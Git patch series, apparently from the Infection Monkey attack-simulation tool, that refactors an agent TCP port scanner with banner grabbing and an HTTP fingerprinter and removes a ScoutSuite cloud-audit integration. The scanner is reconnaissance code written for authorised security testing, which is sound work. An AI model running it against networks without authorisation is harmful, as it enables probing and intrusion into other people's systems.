name).lower() @staticmethod - def _format_targets_from_flat_config(config: Dict): + def _format_targets_from_flat_config(config: Dict) -> Dict[str, Any]: flat_blocked_ips_field = "blocked_ips" flat_inaccessible_subnets_field = "inaccessible_subnets" flat_local_network_scan_field = "local_network_scan" @@ -587,7 +587,7 @@ class ConfigService: return formatted_scan_targets_config @staticmethod - def _format_exploiters_from_flat_config(config: Dict): + def _format_exploiters_from_flat_config(config: Dict) -> Dict[str, List[Dict[str, Any]]]: flat_config_exploiter_classes_field = "exploiter_classes" brute_force_category = "brute_force" vulnerability_category = "vulnerability" From 8e4eeb2f5eb49bab2a824a89f3e7ee5622a9d231 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 07:45:24 -0500 Subject: [PATCH 0307/1110] Agent: Fix inaccurate type-hint in IPScanner._run_fingerprinters() --- monkey/infection_monkey/master/ip_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 67520054e..5c768506b 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -3,7 +3,7 @@ import queue import threading from queue import Queue from threading import Event -from typing import Callable, Dict, List +from typing import Any, Callable, Dict, List from infection_monkey.i_puppet import ( FingerprintData, @@ -87,7 +87,7 @@ class IPScanner: def _run_fingerprinters( self, ip: str, - fingerprinters: List[str], + fingerprinters: List[Dict[str, Any]], ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData], stop: Event, From 373a25d5f62405ac079bb7ded47511ee68094ff6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 08:41:00 -0500 Subject: [PATCH 0308/1110] Agent: Improve comments in HTTPFingerprinter --- monkey/infection_monkey/network/http_fingerprinter.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network/http_fingerprinter.py index 5ebc2c514..190e056ef 100644 --- a/monkey/infection_monkey/network/http_fingerprinter.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -18,7 +18,8 @@ logger = logging.getLogger(__name__) class HTTPFingerprinter(IFingerprinter): """ - Goal is to recognise HTTP servers, where what we currently care about is apache. + Queries potential HTTP(S) ports and attempt to determine the server software that handles the + HTTP requests. """ def get_host_fingerprint( @@ -51,7 +52,6 @@ def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], O http = f"http://{host}:{port}" https = f"https://{host}:{port}" - # try http, we don't optimise for 443 for url, ssl in ((https, True), (http, False)): # start with https and downgrade server_header_contents = _get_server_from_headers(url) From 0a04e846ba83cb5ae37b30072e1aadc66290ddaa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 08:48:17 -0500 Subject: [PATCH 0309/1110] Agent: Add missing return type to HTTPFingerprinter --- monkey/infection_monkey/network/http_fingerprinter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/http_fingerprinter.py b/monkey/infection_monkey/network/http_fingerprinter.py index 190e056ef..6333dad6a 100644 --- a/monkey/infection_monkey/network/http_fingerprinter.py +++ b/monkey/infection_monkey/network/http_fingerprinter.py @@ -28,7 +28,7 @@ class HTTPFingerprinter(IFingerprinter): _: PingScanData, port_scan_data: Dict[int, PortScanData], options: Dict, - ): + ) -> FingerprintData: services = {} http_ports = set(options.get("http_ports", [])) ports_to_fingerprint = _get_open_http_ports(http_ports, port_scan_data) From 69fa4adf1fa7eaf4c1dfaa24bc18719e023e53c8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 09:04:59 -0500 Subject: [PATCH 0310/1110] Island: Add comment describing _translate_fingerprinter_name() --- monkey/monkey_island/cc/services/config.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ba37d357c..f113c437e 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -557,6 +557,10 @@ class ConfigService: @staticmethod def _translate_fingerprinter_name(name: str) -> str: + # This translates names like "HTTPFinger" to "http". "HTTPFinger" is an old classname on the + # agent-side and is therefore unnecessarily couples the island to the fingerprinter's + # implementation within the agent. For the time being, fingerprinters will have names like + # "http", "ssh", "elastic", etc. This will be revisited when fingerprinters become plugins. return re.sub(r"Finger", "", name).lower() @staticmethod From a02b13cdc2003f46a9475967466d842a4b111a9e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 12:58:04 -0500 Subject: [PATCH 0311/1110] Island: Fix logic error in ConfigService The ConfigService would only translate the old fingerprinter names to the new names if HTTPFinger was enabled. This change rectifies the issue. --- monkey/monkey_island/cc/services/config.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index f113c437e..f892801d2 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -545,12 +545,11 @@ class ConfigService: {"name": f, "options": {}} for f in sorted(config[flat_fingerprinter_classes_field]) ] - if "HTTPFinger" in config[flat_fingerprinter_classes_field]: - for fp in formatted_fingerprinters: - if fp["name"] == "HTTPFinger": - fp["options"] = {"http_ports": sorted(config[flat_http_ports_field])} + for fp in formatted_fingerprinters: + if fp["name"] == "HTTPFinger": + fp["options"] = {"http_ports": sorted(config[flat_http_ports_field])} - fp["name"] = ConfigService._translate_fingerprinter_name(fp["name"]) + fp["name"] = ConfigService._translate_fingerprinter_name(fp["name"]) config.pop(flat_fingerprinter_classes_field) return formatted_fingerprinters From 34517246412f2ef9a055f5927774760cf2adb36d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Feb 2022 08:32:54 -0500 Subject: [PATCH 0312/1110] Agent: Rename elasticfinger.py -> elasticsearch_fingerprinter.py --- .../network/{elasticfinger.py => elasticsearch_fingerprinter.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/infection_monkey/network/{elasticfinger.py => elasticsearch_fingerprinter.py} (100%) diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticsearch_fingerprinter.py similarity index 100% rename from monkey/infection_monkey/network/elasticfinger.py rename to monkey/infection_monkey/network/elasticsearch_fingerprinter.py From ee0c98a435ddc4d4c3948b0dde589c83c9b23b29 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 8 Feb 2022 16:10:57 +0100 Subject: [PATCH 0313/1110] Agent: Implement scan_tcp_ports in tcp_scanner Move check_tcp_ports to tcp_scanner Issue #1601 PR #1702 --- monkey/infection_monkey/network/__init__.py | 1 + .../infection_monkey/network/tcp_scanner.py | 154 +++++++++++++----- monkey/infection_monkey/network/tools.py | 90 ---------- monkey/infection_monkey/puppet/puppet.py | 2 +- 4 files changed, 118 insertions(+), 129 deletions(-) diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index 380953093..633b59ed6 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1,2 +1,3 @@ from .scan_target_generator import NetworkAddress, NetworkInterface from .ping_scanner import ping +from .tcp_scanner import scan_tcp_ports diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index 176bde387..3d3f66a14 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,49 +1,127 @@ +import logging +import select +import socket +import time from itertools import zip_longest -from random import shuffle # noqa: DUO102 +from typing import Dict, List, Set -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.HostScanner import HostScanner -from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service -BANNER_READ = 1024 +SLEEP_BETWEEN_POLL = 0.5 + +logger = logging.getLogger(__name__) -class TcpScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = "unknown(TCP)" +def scan_tcp_ports(host: str, ports: List[int], timeout: float) -> Dict[int, PortScanData]: + ports_scan = {} - def __init__(self): - self._config = infection_monkey.config.WormConfiguration + open_ports, banners = _check_tcp_ports(host, ports, timeout) + open_ports = set(open_ports) - def is_host_alive(self, host): - return self.get_host_fingerprint(host, True) + for port, banner in zip_longest(ports, banners, fillvalue=None): + ports_scan[port] = _build_port_scan_data(port, open_ports, banner) - def get_host_fingerprint(self, host, only_one_port=False): - """ - Scans a target host to see if it's alive using the tcp_target_ports specified in the - configuration. - :param host: VictimHost structure - :param only_one_port: Currently unused. - :return: T/F if there is at least one open port. - In addition, the host object is updated to mark those services as alive. - """ + return ports_scan - # maybe hide under really bad detection systems - target_ports = self._config.tcp_target_ports[:] - shuffle(target_ports) - ports, banners = check_tcp_ports( - host.ip_addr, - target_ports, - self._config.tcp_scan_timeout / 1000.0, - self._config.tcp_scan_get_banner, - ) - for target_port, banner in zip_longest(ports, banners, fillvalue=None): - service = tcp_port_to_service(target_port) - self.init_service(host.services, service, target_port) - if banner: - host.services[service]["banner"] = banner - if only_one_port: - break +def _build_port_scan_data(port: int, open_ports: Set[int], banner: str) -> PortScanData: + if port in open_ports: + service = tcp_port_to_service(port) + return PortScanData(port, PortStatus.OPEN, banner, service) + else: + return _get_closed_port_data(port) - return len(ports) != 0 + +def _get_closed_port_data(port: int) -> PortScanData: + return PortScanData(port, PortStatus.CLOSED, None, None) + + +def _check_tcp_ports(ip: str, ports: List[int], timeout: float = DEFAULT_TIMEOUT): + """ + Checks whether any of the given ports are open on a target IP. + :param ip: IP of host to attack + :param ports: List of ports to attack. Must not be empty. + :param timeout: Amount of time to wait for connection + :return: List of open ports. + """ + sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] + # CR: Don't use list comprehensions if you don't need a list + [s.setblocking(False) for s in sockets] + possible_ports = [] + connected_ports_sockets = [] + try: + logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) + for sock, port in zip(sockets, ports): + err = sock.connect_ex((ip, port)) + if err == 0: # immediate connect + connected_ports_sockets.append((port, sock)) + possible_ports.append((port, sock)) + continue + # BUG: I don't think a socket will ever connect successfully if this error is raised. + # From the documentation: "Resource temporarily unavailable... It is a nonfatal + # error, **and the operation should be retried later**." (emphasis mine). If the + # operation is not retried later, I don't see the point in appending this to + # possible_ports. + if err == 10035: # WSAEWOULDBLOCK is valid, see + # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 + possible_ports.append((port, sock)) + continue + if err == 115: # EINPROGRESS 115 /* Operation now in progress */ + possible_ports.append((port, sock)) + continue + logger.warning("Failed to connect to port %s, error code is %d", port, err) + + if len(possible_ports) != 0: + timeout = int(round(timeout)) # clamp to integer, to avoid checking input + sockets_to_try = possible_ports[:] + # BUG: If any sockets were added to connected_ports_sockets on line 94, this would + # remove them. + connected_ports_sockets = [] + while (timeout >= 0) and sockets_to_try: + sock_objects = [s[1] for s in sockets_to_try] + + # BUG: Since timeout is 0, this could block indefinitely + _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + for s in writeable_sockets: + try: # actual test + connected_ports_sockets.append((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass + sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] + if sockets_to_try: + time.sleep(SLEEP_BETWEEN_POLL) + timeout -= SLEEP_BETWEEN_POLL + + logger.debug( + "On host %s discovered the following ports %s" + % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) + ) + banners = [] + if len(connected_ports_sockets) != 0: + readable_sockets, _, _ = select.select( + [s[1] for s in connected_ports_sockets], [], [], 0 + ) + # read first BANNER_READ bytes. We ignore errors because service might not send a + # decodable byte string. + # CR: Because of how black formats this, it is difficult to parse. Refactor to be + # easier to read. + + # TODO: Rework the return of this function. Consider using dictionary + banners = [ + sock.recv(BANNER_READ).decode(errors="ignore") + if sock in readable_sockets + else "" + for port, sock in connected_ports_sockets + ] + pass + # try to cleanup + # CR: Evaluate whether or not we should call shutdown() before close() on each socket. + [s[1].close() for s in possible_ports] + return [port for port, sock in connected_ports_sockets], banners + else: + return [], [] + + except socket.error as exc: + logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) + return [], [] diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 6f3d15021..d43fed12e 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -3,7 +3,6 @@ import select import socket import struct import sys -import time from common.network.network_utils import get_host_from_network_location from infection_monkey.config import WormConfiguration @@ -13,7 +12,6 @@ DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 logger = logging.getLogger(__name__) -SLEEP_BETWEEN_POLL = 0.5 def struct_unpack_tracker(data, index, fmt): @@ -76,94 +74,6 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): return True, banner -def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT): - """ - Checks whether any of the given ports are open on a target IP. - :param ip: IP of host to attack - :param ports: List of ports to attack. Must not be empty. - :param timeout: Amount of time to wait for connection - :return: List of open ports. - """ - sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] - # CR: Don't use list comprehensions if you don't need a list - [s.setblocking(False) for s in sockets] - possible_ports = [] - connected_ports_sockets = [] - try: - logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) - for sock, port in zip(sockets, ports): - err = sock.connect_ex((ip, port)) - if err == 0: # immediate connect - connected_ports_sockets.append((port, sock)) - possible_ports.append((port, sock)) - continue - # BUG: I don't think a socket will ever connect successfully if this error is raised. - # From the documentation: "Resource temporarily unavailable... It is a nonfatal - # error, **and the operation should be retried later**." (emphasis mine). If the - # operation is not retried later, I don't see the point in appending this to - # possible_ports. - if err == 10035: # WSAEWOULDBLOCK is valid, see - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - possible_ports.append((port, sock)) - continue - if err == 115: # EINPROGRESS 115 /* Operation now in progress */ - possible_ports.append((port, sock)) - continue - logger.warning("Failed to connect to port %s, error code is %d", port, err) - - if len(possible_ports) != 0: - timeout = int(round(timeout)) # clamp to integer, to avoid checking input - sockets_to_try = possible_ports[:] - # BUG: If any sockets were added to connected_ports_sockets on line 94, this would - # remove them. - connected_ports_sockets = [] - while (timeout >= 0) and sockets_to_try: - sock_objects = [s[1] for s in sockets_to_try] - - # BUG: Since timeout is 0, this could block indefinitely - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) - for s in writeable_sockets: - try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) - except socket.error: # bad socket, select didn't filter it properly - pass - sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] - if sockets_to_try: - time.sleep(SLEEP_BETWEEN_POLL) - timeout -= SLEEP_BETWEEN_POLL - - logger.debug( - "On host %s discovered the following ports %s" - % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) - ) - banners = [] - if len(connected_ports_sockets) != 0: - readable_sockets, _, _ = select.select( - [s[1] for s in connected_ports_sockets], [], [], 0 - ) - # read first BANNER_READ bytes. We ignore errors because service might not send a - # decodable byte string. - # CR: Because of how black formats this, it is difficult to parse. Refactor to be - # easier to read. - banners = [ - sock.recv(BANNER_READ).decode(errors="ignore") - if sock in readable_sockets - else "" - for port, sock in connected_ports_sockets - ] - pass - # try to cleanup - # CR: Evaluate whether or not we should call shutdown() before close() on each socket. - [s[1].close() for s in possible_ports] - return [port for port, sock in connected_ports_sockets], banners - else: - return [], [] - - except socket.error as exc: - logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) - return [], [] - - def tcp_port_to_service(port): return "tcp-" + str(port) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index ad9354d66..380ee1bbe 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -39,7 +39,7 @@ class Puppet(IPuppet): def scan_tcp_ports( self, host: str, ports: List[int], timeout: float = 3 ) -> Dict[int, PortScanData]: - return self._mock_puppet.scan_tcp_ports(host, ports, timeout) + return network.scan_tcp_ports(host, ports, timeout) def fingerprint( self, From 16bb13fc100560751400bcd344600030a74f8e0a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:00:08 -0500 Subject: [PATCH 0314/1110] Agent: Remove ScoutSuite system info collector --- .../system_info/collectors/aws_collector.py | 10 ------ .../scoutsuite_collector.py | 35 ------------------- 2 files changed, 45 deletions(-) delete mode 100644 monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py index 074d19cc1..8cbf26976 100644 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ b/monkey/infection_monkey/system_info/collectors/aws_collector.py @@ -1,12 +1,7 @@ import logging from common.cloud.aws.aws_instance import AwsInstance -from common.cloud.scoutsuite_consts import CloudProviders from common.common_consts.system_info_collectors_names import AWS_COLLECTOR -from infection_monkey.network.tools import is_running_on_island -from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import ( - scan_cloud_security, -) from infection_monkey.system_info.system_info_collector import SystemInfoCollector logger = logging.getLogger(__name__) @@ -22,11 +17,6 @@ class AwsCollector(SystemInfoCollector): def collect(self) -> dict: logger.info("Collecting AWS info") - if is_running_on_island(): - logger.info("Attempting to scan AWS security with ScoutSuite.") - scan_cloud_security(cloud_type=CloudProviders.AWS) - else: - logger.info("Didn't scan AWS security with ScoutSuite, because not on island.") aws = AwsInstance() info = {} if aws.is_instance(): diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py deleted file mode 100644 index ec8a5e488..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Union - -import ScoutSuite.api_run -from ScoutSuite.providers.base.provider import BaseProvider - -from common.cloud.scoutsuite_consts import CloudProviders -from common.utils.exceptions import ScoutSuiteScanError -from infection_monkey.config import WormConfiguration -from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem - -logger = logging.getLogger(__name__) - - -def scan_cloud_security(cloud_type: CloudProviders): - try: - results = run_scoutsuite(cloud_type.value) - if isinstance(results, dict) and "error" in results and results["error"]: - raise ScoutSuiteScanError(results["error"]) - send_scoutsuite_run_results(results) - except (Exception, ScoutSuiteScanError) as e: - logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") - - -def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return ScoutSuite.api_run.run( - provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token, - ) - - -def send_scoutsuite_run_results(run_results: BaseProvider): - ScoutSuiteTelem(run_results).send() From 2f397ad37e345985387a5fc1b0e7cf2aa13c267b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:00:56 -0500 Subject: [PATCH 0315/1110] Common: Remove ScoutSuiteScanError --- monkey/common/utils/exceptions.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index cc70cbc51..984314a23 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -34,10 +34,6 @@ class NoInternetError(Exception): """ Raise to indicate problems caused when no internet connection is present""" -class ScoutSuiteScanError(Exception): - """ Raise to indicate problems ScoutSuite encountered during scanning""" - - class UnknownFindingError(Exception): """ Raise when provided finding is of unknown type""" From c68adf4849cf4be8081ea1b35f473bb1926e7213 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:04:27 -0500 Subject: [PATCH 0316/1110] Docs: Remove references to ScoutSuite --- docs/content/usage/integrations/scoutsuite.md | 67 ------------------- .../scenarios/custom-scenario/zero-trust.md | 2 - 2 files changed, 69 deletions(-) delete mode 100644 docs/content/usage/integrations/scoutsuite.md diff --git a/docs/content/usage/integrations/scoutsuite.md b/docs/content/usage/integrations/scoutsuite.md deleted file mode 100644 index 76737681c..000000000 --- a/docs/content/usage/integrations/scoutsuite.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: "Scoutsuite" -date: 2021-03-02T16:23:06+02:00 -draft: false -description: "Scout Suite is an open-source cloud security-auditing tool." -weight: 10 ---- - -### About ScoutSuite - -Scout Suite is an open-source cloud security-auditing tool. -It queries the cloud API to gather configuration data. Based on configuration -data gathered, ScoutSuite shows security issues and risks present in your infrastructure. - -### Supported cloud providers - -Currently, ScoutSuite integration only supports AWS environments. - -### Enabling ScoutSuite - -First, Infection Monkey needs access to your cloud API. You can provide access -in the following ways: - - - Provide access keys: - - Create a new user with ReadOnlyAccess and SecurityAudit policies and generate keys - - Generate keys for your current user (faster but less secure) - - Configure AWS CLI: - - If the command-line interface is available on the Island, it will be used to access - the cloud API - -More details about configuring ScoutSuite can be found in the tool itself, by choosing -"Cloud Security Scan" in the "Run Monkey" options. - -![Cloud scan option in run page](/images/usage/integrations/scoutsuite_run_page.png -"Successful setup indicator") - -After you're done with the setup, make sure that a checkmark appears next to the AWS option. This -verifies that ScoutSuite can access the API. - -![Successfull setup indicator](/images/usage/integrations/scoutsuite_aws_configured.png -"Successful setup indicator") - -### Running a cloud security scan - -If you have successfully configured the cloud scan, Infection Monkey will scan -your cloud infrastructure when the Monkey Agent is run **on the Island**. You -can simply click on "From Island" in the run options to start the scan. The -scope of the network scan and other activities you may have configured the Agent -to perform are ignored by the ScoutSuite integration, except **Monkey -Configuration -> System info collectors -> AWS collector**, which needs to -remain **enabled**. - - -### Assessing scan results - -After the scan is done, ScoutSuite results will be categorized according to the -ZeroTrust Extended framework and displayed as a part of the ZeroTrust report. -The main difference between Infection Monkey findings and ScoutSuite findings -is that ScoutSuite findings contain security rules. To see which rules were -checked, click on the "Rules" button next to the relevant test. You'll see a -list of rule dropdowns that are color coded according to their status. Expand a -rule to see its description, remediation and more details about resources -flagged. Each flagged resource has a path so you can easily locate it in the -cloud and remediate the issue. - -![Open ScoutSuite rule](/images/usage/integrations/scoutsuite_report_rule.png -"Successful setup indicator") diff --git a/docs/content/usage/scenarios/custom-scenario/zero-trust.md b/docs/content/usage/scenarios/custom-scenario/zero-trust.md index 2e54dc73e..07884e3c8 100644 --- a/docs/content/usage/scenarios/custom-scenario/zero-trust.md +++ b/docs/content/usage/scenarios/custom-scenario/zero-trust.md @@ -11,8 +11,6 @@ weight: 1 Want to assess your progress in achieving a Zero Trust network? The Infection Monkey can automatically evaluate your readiness across the different [Zero Trust Extended Framework](https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210) principles. -You can additionally scan your cloud infrastructure's compliance to ZeroTrust principles using [ScoutSuite integration.]({{< ref "/usage/integrations/scoutsuite" >}}) - ## Configuration - **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times. From 9e9e8be87c1a8ff8ec648c8118f310cde622468e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:09:44 -0500 Subject: [PATCH 0317/1110] Agent: Remove ScoutSuiteTelem --- .../telemetry/scoutsuite_telem.py | 17 ----------------- 1 file changed, 17 deletions(-) delete mode 100644 monkey/infection_monkey/telemetry/scoutsuite_telem.py diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py deleted file mode 100644 index 91b26f69d..000000000 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ /dev/null @@ -1,17 +0,0 @@ -from ScoutSuite.output.result_encoder import ScoutJsonEncoder -from ScoutSuite.providers.base.provider import BaseProvider - -from common.common_consts.telem_categories import TelemCategoryEnum -from infection_monkey.telemetry.base_telem import BaseTelem - - -class ScoutSuiteTelem(BaseTelem): - def __init__(self, provider: BaseProvider): - super().__init__() - self.provider_data = provider - - json_encoder = ScoutJsonEncoder - telem_category = TelemCategoryEnum.SCOUTSUITE - - def get_data(self): - return {"data": self.provider_data} From fe459ddd3f17d0058896ac9747c976306beea89b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:53:09 -0500 Subject: [PATCH 0318/1110] Island: Remove ScoutSuite telemetry processing --- .../telemetry/processing/processing.py | 2 - .../telemetry/processing/scoutsuite.py | 38 ------------------- 2 files changed, 40 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 667928d3c..4b38c237c 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -4,7 +4,6 @@ from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry -from monkey_island.cc.services.telemetry.processing.scoutsuite import process_scoutsuite_telemetry from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry from monkey_island.cc.services.telemetry.processing.system_info import process_system_info_telemetry from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry @@ -18,7 +17,6 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { TelemCategoryEnum.SCAN: process_scan_telemetry, TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py deleted file mode 100644 index 5f2677bcb..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ /dev/null @@ -1,38 +0,0 @@ -import json - -from monkey_island.cc.database import mongo -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import ( - SCOUTSUITE_FINDINGS, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( - ScoutSuiteZTFindingService, -) - - -def process_scoutsuite_telemetry(telemetry_json): - # Encode data to json, because mongo can't save it as document (invalid document keys) - telemetry_json["data"] = json.dumps(telemetry_json["data"]) - ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json["data"]) - scoutsuite_data = json.loads(telemetry_json["data"])["data"] - create_scoutsuite_findings(scoutsuite_data[SERVICES]) - update_data(telemetry_json) - - -def create_scoutsuite_findings(cloud_services: dict): - for finding in SCOUTSUITE_FINDINGS: - for rule in finding.rules: - rule_data = RuleParser.get_rule_data(cloud_services, rule) - rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) - ScoutSuiteZTFindingService.process_rule(finding, rule) - - -def update_data(telemetry_json): - mongo.db.scoutsuite.insert_one( - {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} - ) From 5423bbbb356f5105a76ce00fa5e0d2a51178ea56 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:53:55 -0500 Subject: [PATCH 0319/1110] Common: Remove ScoutSuite telemetry category --- monkey/common/common_consts/telem_categories.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 8c39abd74..dc6524c7b 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -2,7 +2,6 @@ class TelemCategoryEnum: EXPLOIT = "exploit" POST_BREACH = "post_breach" SCAN = "scan" - SCOUTSUITE = "scoutsuite" STATE = "state" SYSTEM_INFO = "system_info" TRACE = "trace" From d2947796ff6df1587315e77944871c2bd447bac0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 14:55:27 -0500 Subject: [PATCH 0320/1110] Island: Remove ScoutSuiteRuleService --- .../scoutsuite/data_parsing/rule_parser.py | 40 ----- .../scoutsuite/scoutsuite_rule_service.py | 29 --- 